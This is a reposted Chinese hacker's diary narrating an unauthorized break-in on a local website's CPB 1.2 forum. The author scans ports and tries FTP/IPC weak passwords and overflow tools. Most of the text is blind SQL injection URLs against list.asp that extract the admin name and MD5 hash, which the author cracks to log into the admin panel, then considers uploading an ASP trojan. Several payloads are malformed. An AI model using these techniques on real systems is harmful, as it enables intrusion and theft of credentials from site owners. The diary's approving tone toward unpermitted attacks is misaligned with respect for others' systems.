入侵日记一则(CPB论坛注入攻击)

/ns/cn/jc/data/20040222101121.htm



昨晚又通宵了一晚,今天睡了一天,醒来时郁闷闷的。。。。。。,心烦!已经全然没有了学习的兴趣~登陆QQ看看,好友全不在线。无聊信手乱开网页,来到本地一个比较有名的网站,看了看,比上次来时多加了些新东西。反正没事做,就检测一下这个站的安全性吧。(我不是黑客,却有着黑色的信仰,网络安全永远是我的爱好!)

在网站转了一下,看到也有文章系统。不过是HTM的,但用鼠标指向连接,可以看到:
http://xxx.xxx.xxx/0019/open.asp?id=888&path=wshl&filename&=200381171455.htm

我提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=1

跳回主页

接着提交http://xxx.xxx.xxx/0019/open.asp?id=888 and 1=2

跳回主页

看来是不能利用了。:(

接着,用XSCAN扫了下端口和CGI,IIS漏洞

打开CMD命令提示符窗口,输入PING XXX.XXX.XXX(XXX为网址),从返回信息得到IP-----SSS。SSS。SSS。SSS
晕,开了很多端口,给我的第一印象就是-----这站够垃圾~

看主机开的那些端口,和我机子上WIN2000SERVER默认开的端口差不多,估计是WIN2000SERVER版。
我菜,找了几个比较熟悉的试了一下,21,80,135,139。

21端口,我试着扫了下FTP弱口令和是否支持匿名登陆。失败~~~~:(
139端口,试着扫了IPC弱口令,(如果被我扫出有弱口令,那这服务器也太。。。。。。・・##%¥#―,哈哈),并且用NET VIEW看了下有没有共享。失败~~~~:(

80端口,我先在CMD命令提示符下:
telnet sss.sss.sss.sss 80
get 回车
从返回的信息得知是IIS5。0
可能有WEBDAV溢出漏洞,用WEBDAV溢出程序试了一下,失败~~~~

135端口,记得这端口可能可以RPC溢出,正好我的机子上有这工具,试了下,失败~~~~

无奈,又到站上逛了一下,这时,发现一个论坛。点击进去看了看。

是个CPB论坛,版本1。2,用ASP写的,以前没见过。

去GOOGLE搜了一下有没有关于这论坛的漏洞资料,无。。。。。

试着注册一个用户,管理员屏蔽了用户注册。

下了一个CPB论坛程序,看了看数据库,ASP的,也不能下载。

看CPB论坛说明得知默认管理员帐号和密码 admin admin

试试看管理员改了密码没,用admin admin登陆,提示登陆失败。看来管理员改了密码或删掉了admin用户。

不管那么多了,先进个版块看看吧,随手点了个版块。这是,看到版块的URL,

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4

看这个连接可能有SQL漏洞,虽然以前没有SQL过论坛,还是试了一下。

首先,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=1

正常返回

然后,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 1=2

出错。

看来有SQL漏洞。但此时心中也没有一点窃喜,根据以前SQL下载系统的经练,仅凭这点,还没把握拿到密码。不管那么多,先试下吧。

接着,看看是否存在ADMIN表,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admin)

返回的是一个出错的页面,提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

这和我以前玩过的不一样,以前玩的都是正常返回。我随手在表admin后加了个S,
提交如下: http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admins)

显示“该页无法显示”

我又试着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select * from admindfgfdg)

显示"该页无法显示 “

通过这点,我判断,第一次我提交的应该是成功的,就是说,应该存在ADMIN表。

接着,判断管理员ADMIN表ID,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select id from admin where id>1)

显示"该页无法显示 “

看这个返回结果,显然是不正常的返回,而且ID的值我是从最小的1判断的,肯定那里出错了,具体我也说不清楚,我菜~

接着,我试了下提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>1),也就是把ID改成了l_id,这是我以前没玩过的。

返回的是,出错。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

这和判断是否存在ADMIN表时返回的是一样的。我窃喜了一下,接着试着提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select ls_id from admin where ls_id>1)

显示“该页无法显示"

因此,我断定ID应该用l_id,可能这对高手来说早就知道了,但这对菜鸟我来说,从没玩过,哈哈,看来今天就算拿不到密码也是有收获的,因为又多了点SQL注入的经练。

之后就是很顺利的,提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id>5)

返回
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

看来l_id的值小与或等于,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and exists (select l_id from admin where l_id=4)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/bbs/list.asp,行145

因此判断l_id的值为4.

接下来猜ADMIN表里的用户名长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(username)>1)

依然从最小的1开始判断,返回:
错误提示:

您是否阅读了帮助文件,您没有权限继续下一步操作,通常是以下原因:
很抱歉,无此论坛!

说明没有username,试了下

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 4=(select min(l_id) from admin where len(admin)>1)

根据结果得知存在admin,接着提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(admin)=5)

返回的信息说明admin长度为5。

接着猜用户名,根据刚才看到的CPB论坛默认管理员帐号admin,一次提交:

http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(admin,5)='admin')

呵呵,成功。减少了不少麻烦。

接下来猜密码长度,提交http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>1)

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

哈哈,看来有password,接下来猜长度,提交
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>8

返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'

[Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。

/bbs/list.asp,行145

说明密码大于8。

然后提交:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)>10

返回和上面一样,这时,根据经练,有种不祥的预感,密码用MD5加密了的!MD5加密算法不可逆,目前只能暴力破解.

接着提交:


http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where len(password)=16
返回和上面一样,晕呀~~~~~~~~~~~~~果然是MD5加密过的了。

不管那么多了,先猜出来吧,说不定也可以象DVBBS6。0那样可以通过COOK欺骗进入后台管理。

提交:http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='a')

错误。

依次猜:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='b')
错误
当试到http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,1)='e'),
正确,后面猜第2位密码
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='6')
第3位:
http://xxx.xxx.xxx.xxx/bbs/list.asp?l_id=4 and 4=(select min(l_id) from admin where left(password,2='f')

花了一点时间,才出MD5加密的密码为:e6f448a30c41a4ea

抱着试下的心理去网上DOWN了个MD5暴力破解工具,先猜数字,长度选5-6,偶晕~~~~~,1分钟不到,猜出来,密码225588,我都不相信,试了下登陆,居然成功。
哈哈,今天运气真好,要是现在福彩没关门,我一定去买~~~~~~~~~~

在后台转了一下,发现可以设置上传文件类型,偶晕~
如果上传个ASP木马,然后。。。。。。。。嘿嘿~~~~~
有可能搞定整个服务器,偶晕~
好了,不要太过分。到此为止。
看了管理员资料,找到QQ,看了不在线,明天再通知他们补上吧。

By BlackFaith


=========================
文章类型:转载 提交:沙加II 核查:NetDemon